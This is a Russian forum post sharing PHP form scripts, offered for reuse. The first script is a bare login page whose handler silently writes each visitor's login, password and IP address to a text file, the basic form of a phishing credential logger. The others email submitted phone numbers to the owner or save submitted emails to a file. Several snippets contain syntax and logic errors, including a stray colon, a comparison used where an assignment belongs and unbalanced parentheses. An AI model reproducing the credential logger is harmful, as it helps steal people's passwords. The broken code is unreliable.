Скрипты для форм

Discussion in 'PHP' started by asis, 24 Apr 2018.

  1. asis

    asis New Member

    Joined:
    12 Apr 2018
    Messages:
    12
    Likes Received:
    0
    Reputations:
    0
    Делитесь всеми вашими скриптами для форм. Может кому помогут...
    Вот первые пару скриптов.


    сохранение данных в файл
    sa.html:
    PHP:
    <html>
    <head>
    <title>Untitled</title>
    </head>
    <body>
    <form action="saver.php" method="post">
    Login: <input type="text" name="login" ><br>
    Password: <input type="pass" name="pass" >
    <input type="Submit" value="Проверить">
    </body>
    </html>
    и saver.php
    PHP:
    <html>
    <head>
    <title>Untitled</title>
    </head>
    <body>
    <?php
    $login = $_POST["login"];
    $pass = $_POST["pass"];
    $ip = getenv("REMOTE_ADDR");
    $fp = fopen("log.txt", "a");
    fputs($fp, "Login: $login "." Pass: $pass "." IP: $ip "."\n\n");
    ?>


    Отправляет номер на вашу почту.


    <?php
    if(ctype_digit($_POST['num'])){

    mail("твой_mail@ololo.com", "на сайте ввели новый номер", $_POST['num'],
    "From: webmaster@site.com\r\n"
    ."Reply-To: webmaster@site.com\r\n"
    ."X-Mailer: PHP/".phpversion());
    echo "Номер успешно отправлен!":
    exit;
    }

    ?>
    <FORM action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
    <INPUT TYPE="TEXT" name="num" value="Введите ваш номер мобилы" />
    <INPUT TYPE="SUBMIT" name="submit" value="Отправить">
    </FORM>




    Сохраняет введенный маил у вас в файле.


    1.php


    <?php
    @session_start();
    if(isset($_POST['email']) and empty($_POST['email'])!=true)
    {
    $_SESSION['email'] =='ok';
    $fh=fopen('emails.txt','a+');
    $email = $_POST['email'];
    fwrite($fh,"$email\n\n");
    fclose($fh);
    echo '<META HTTP-EQUIV="REFRESH" CONTENT="1;URL=2.php">';
    }
    else {
    echo '<html><body bgcolor=black><br><br><br><center>ENTER EMAIL</center><br><center><form action=1.php method=post><textarea name=email cols=100 rows=100><input type=submit></form></center>';
    }
    ?>



    2.php

    PHP:
    <?php
    @session_start();
    if(isset($_SESSION['email']) and $_SESSION['email'])=='ok')

    { echo 'good!'; }
    else { echo 'go to 1.php'; }

    ?>